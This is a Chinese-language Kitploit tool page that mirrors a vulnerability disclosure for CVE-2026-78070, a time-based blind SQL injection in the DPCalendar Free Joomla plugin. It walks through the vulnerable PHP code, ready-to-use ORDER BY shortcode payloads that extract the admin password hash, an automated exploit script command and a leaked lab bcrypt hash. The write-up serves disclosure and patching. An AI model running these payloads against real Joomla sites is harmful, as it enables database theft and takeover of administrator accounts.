Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-78070 — # plg_content_dpcalendar 中的 ORDER BY 短代码 SQL 注入 — DPCalendar Free ≤ 10.11.2 | Kitploit
工具/GitHubGitHub/toanln-cov/cve-2026-78070
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

# plg_content_dpcalendar 中的 ORDER BY 短代码 SQL 注入 — DPCalendar Free ≤ 10.11.2

查看仓库
1421天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

plg_content_dpcalendar 中的 ORDER BY 短代码 SQL 注入

DPCalendar Free ≤ 10.11.2 — 作者级用户通过基于时间的盲注提取完整数据库

CVE CVSS CWE-89 Affected Fixed Researcher


摘要

plg_content_dpcalendar 内容插件会解析嵌入在 Joomla 文章正文中的 {{#events order="..."}}{{/events}} 短代码。order 参数值被直接传递给 EventsModel::setState('list.ordering', ...),完全绕过了模型自身的 populateState() 白名单。该值随后被插入到 SQL ORDER BY 子句中,仅受 DatabaseDriver::escape() 保护——这不足以防御子查询注入。

拥有创建或编辑文章权限的作者级用户可利用此漏洞,通过基于时间的盲 SQL 注入从数据库中窃取数据。该 SQL 注入在攻击者自己的文章保存请求中触发——无需受害者交互、无需发布文章、也无需管理员参与。


受影响版本

组件受影响版本测试环境修复版本
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

注意: 此漏洞与 CVE-2026-57831(通过 filter_created_by 在 EventsModel.php 中存在的未认证 SQL 注入,已在 v10.11.2 中修复)不同。本次发现影响的是内容插件(plg_content_dpcalendar)——不同的文件、不同的参数,且在发现时最新版本中仍未修复。


漏洞详情

类型: SQL 注入 (CWE-89) — 基于时间的盲注
所需认证: 作者角色(可创建/编辑 Joomla 文章)
端点: POST /index.php/submit-article?view=form&layout=edit
文件: plg_content_dpcalendar/src/Extension/DPCalendar.php

根本原因

该插件的短代码解析器遍历 {{#events}} 标签中的所有键值参数并直接设置模型状态,完全绕过了 populateState() 白名单验证:

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — 易受攻击的参数处理

root@kitploit:~
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // 易受攻击:直接从用户输入设置排序状态
            // 完全绕过 populateState() 白名单
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

被污染的值流入 EventsModel::getListQuery(),仅应用了引号转义——这不足以阻止 ORDER BY 上下文中的子查询注入:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY 构造

root@kitploit:~
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() 仅转义引号 — 无法阻止子查询注入
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

诸如 (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) 之类的子查询可原样通过 $db->escape(),因为它不包含任何引号字符。生成的 SQL 变为:

root@kitploit:~
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

ORDER BY 表达式仅在结果集非空时才会被求值——这要求至少存在一个已发布的未来 DPCalendar 事件,这是任何活跃 DPCalendar 安装的标准条件。

关键行为: SQL 注入在保存/编辑 POST 请求本身中触发——时间延迟可直接在 HTTP 响应(303 重定向)中观察到。攻击者测量的是自己 POST 请求的响应时间;无需查看文章、刷新页面或执行发布步骤。


概念验证

前提条件:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • 作者角色账户(可创建/编辑文章)
  • 已启用 plg_content_dpcalendar 插件(DPCalendar 安装时默认启用)
  • 至少 1 个已发布且 start_date 在未来的 DPCalendar 事件
  • 管理员创建的前端提交文章菜单项

场景:基于时间的盲 SQL 注入 → 提取管理员凭据

0. 前置条件 — 必须存在至少一个已发布且开始日期在未来的 DPCalendar 事件

插件在构建查询前会设置 filter.state = 1 和 list.start-date = NOW()。ORDER BY 子查询仅在结果集包含行时才会执行;如果匹配 0 行,则永远不会调用 SLEEP()。

1. 以作者角色用户身份登录

使用作者账户认证 Joomla 前端。整个攻击过程中无需任何管理员访问权限。

2. 提交包含 TRUE 条件载荷的文章 — 观察 5 秒延迟

导航至前端文章提交表单(/submit-article)。在文章正文中插入以下载荷并点击保存:

root@kitploit:~
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

POST 响应本身延迟约 5 秒。onContentPrepare 在 Joomla 保存流程中触发,在发出 303 重定向之前调用易受攻击的查询。无需查看文章或发布文章。

3. FALSE 条件确认清晰的时间差异

将 1=1 替换为 1=2(始终为假)。SLEEP 不会被触发,响应立即返回(约 100ms),确认了可靠的时间区分。

root@kitploit:~
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. 提取管理员密码哈希 — 逐字节进行

使用 ASCII(SUBSTRING(...)) 比较来读取每个字符。必须避免使用单引号(短代码正则表达式 [^"\']* 会在任何引号字符处停止);请改用十进制 ASCII 值:

root@kitploit:~
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

响应时间约 5 秒 → TRUE → char[1] = '$'(ASCII 36 — bcrypt $2y$10$... 哈希的第一个字符)。

5. 自动化提取 — 完整转储管理员凭据

运行 exploit/exploit.py 以自动化逐字节提取循环:

root@kitploit:~
python3 exploit/exploit.py http://TARGET

该脚本以作者身份登录,提交精心构造的载荷,并提取用户名、电子邮件和完整的 60 字符 bcrypt 密码哈希。实验室结果确认:admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC。

条件响应时间
TRUE:ASCII(SUBSTR(password,1,1))=36约 5,000 ms
FALSE:ASCII(SUBSTR(password,1,1))=65约 100 ms

影响

  1. 完整数据库读取权限 — 作者级用户可通过基于时间的盲 SQL 注入提取 Joomla 数据库中的任何数据,包括管理员密码哈希(jos_users.password)、会话令牌和用户电子邮件。
  2. 无需管理员交互 — SQL 注入在攻击者自己的文章保存请求中触发。无需任何受害者查看或与任何内容交互。
  3. 极少的取证痕迹 — 恶意文章无需发布。草稿文章(state=0)即可满足条件,几乎不留下任何可见的攻击证据。
  4. 离线凭据破解 — 提取的 bcrypt 哈希可使用 Hashcat(模式 3200)或 John the Ripper 进行离线破解,可能导致完全接管管理员账户。

参考

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78070
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78070
  • GitHub 安全公告: https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
  • 供应商仓库: https://github.com/Digital-Peak/DPCalendar-Free
下载工具